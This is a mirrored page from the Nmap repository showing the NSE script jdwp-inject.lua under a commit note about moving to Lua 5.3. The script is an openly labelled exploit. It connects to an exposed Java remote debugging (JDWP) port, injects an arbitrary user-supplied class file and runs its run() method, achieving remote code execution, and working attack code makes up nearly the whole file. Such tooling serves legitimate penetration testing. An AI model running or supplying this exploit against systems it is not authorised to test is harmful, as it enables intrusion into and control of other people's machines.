mirror of
https://github.com/nmap/nmap.git
synced 2025-12-07 21:21:31 +00:00
Lua 5.3 adds several awesome features of particular interest to nmap including bitwise operators and integers, a utf8 library, and standard binary pack/unpack functions. In addition to adding Lua 5.3, this branch changes: o Complete removal of the NSE bit library (in C), It has been replaced with a new Lua library wrapping Lua 5.3's bit-wise operators. o Complete removal of the NSE bin library (in C). It has been replaced with a new Lua library wrapping Lua 5.3's string.pack|unpack functions. o The bin.pack "B" format specifier (which has never worked correctly) is unimplemented. All scripts/libraries which use it have been updated. Most usage of this option was to allow string based bit-wise operations which are no longer necessary now that Lua 5.3 provides integers and bit-wise operators. o The base32/base64 libraries have been reimplemented using Lua 5.3's new bitwise operators. (This library was the main user of the bin.pack "B" format specifier.) o A new "bits" library has been added for common bit hacks. Currently only has a reverse function. Thanks to David Fifield, Daniel Miller, Jacek Wielemborek, and Paulino Calderon for testing this branch.
89 lines
3.0 KiB
Lua
89 lines
3.0 KiB
Lua
local bin = require "bin"
|
|
local io = require "io"
|
|
local jdwp = require "jdwp"
|
|
local stdnse = require "stdnse"
|
|
local nmap = require "nmap"
|
|
local shortport = require "shortport"
|
|
local string = require "string"
|
|
|
|
description = [[
|
|
Attempts to exploit java's remote debugging port. When remote debugging port
|
|
is left open, it is possible to inject java bytecode and achieve remote code
|
|
execution. This script allows injection of arbitrary class files.
|
|
|
|
After injection, class' run() method is executed.
|
|
Method run() has no parameters, and is expected to return a string.
|
|
|
|
You must specify your own .class file to inject by <code>filename</code> argument.
|
|
See nselib/data/jdwp-class/README for more.
|
|
]]
|
|
|
|
---
|
|
-- @usage nmap -sT <target> -p <port> --script=+jdwp-inject --script-args filename=HelloWorld.class
|
|
--
|
|
-- @args jdwp-inject.filename Java <code>.class</code> file to inject.
|
|
-- @output
|
|
-- PORT STATE SERVICE REASON
|
|
-- 2010/tcp open search syn-ack
|
|
-- | jdwp-inject:
|
|
-- |_ Hello world from the remote machine!
|
|
|
|
author = "Aleksandar Nikolic"
|
|
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
|
|
categories = {"exploit","intrusive"}
|
|
|
|
portrule = function(host, port)
|
|
-- JDWP will close the port if there is no valid handshake within 2
|
|
-- seconds, Service detection's NULL probe detects it as tcpwrapped.
|
|
return port.service == "tcpwrapped"
|
|
and port.protocol == "tcp" and port.state == "open"
|
|
and not(shortport.port_is_excluded(port.number,port.protocol))
|
|
end
|
|
|
|
action = function(host, port)
|
|
stdnse.sleep(5) -- let the remote socket recover from connect() scan
|
|
local status,socket = jdwp.connect(host,port) -- initialize the connection
|
|
if not status then
|
|
stdnse.debug1("error, %s",socket)
|
|
return nil
|
|
end
|
|
|
|
-- read .class file
|
|
local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename')
|
|
if filename == nil then
|
|
return stdnse.format_output(false, "This script requires a .class file to inject.")
|
|
end
|
|
local file = io.open(nmap.fetchfile(filename) or filename, "rb")
|
|
local class_bytes = file:read("a")
|
|
file:close()
|
|
|
|
-- inject the class
|
|
local injectedClass
|
|
status,injectedClass = jdwp.injectClass(socket,class_bytes)
|
|
if not status then
|
|
stdnse.debug1("Failed to inject class")
|
|
return stdnse.format_output(false, "Failed to inject class")
|
|
end
|
|
-- find injected class method
|
|
local runMethodID = jdwp.findMethod(socket,injectedClass.id,"run",false)
|
|
|
|
if runMethodID == nil then
|
|
stdnse.debug1("Couldn't find run method")
|
|
return stdnse.format_output(false, "Couldn't find run method.")
|
|
end
|
|
|
|
-- invoke run method
|
|
local result
|
|
status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,0,nil)
|
|
if not status then
|
|
stdnse.debug1("Couldn't invoke run method")
|
|
return stdnse.format_output(false, result)
|
|
end
|
|
-- get the result string
|
|
local _,_,stringID = bin.unpack(">CL",result)
|
|
status,result = jdwp.readString(socket,0,stringID)
|
|
-- parse results
|
|
return stdnse.format_output(status,result)
|
|
end
|
|
|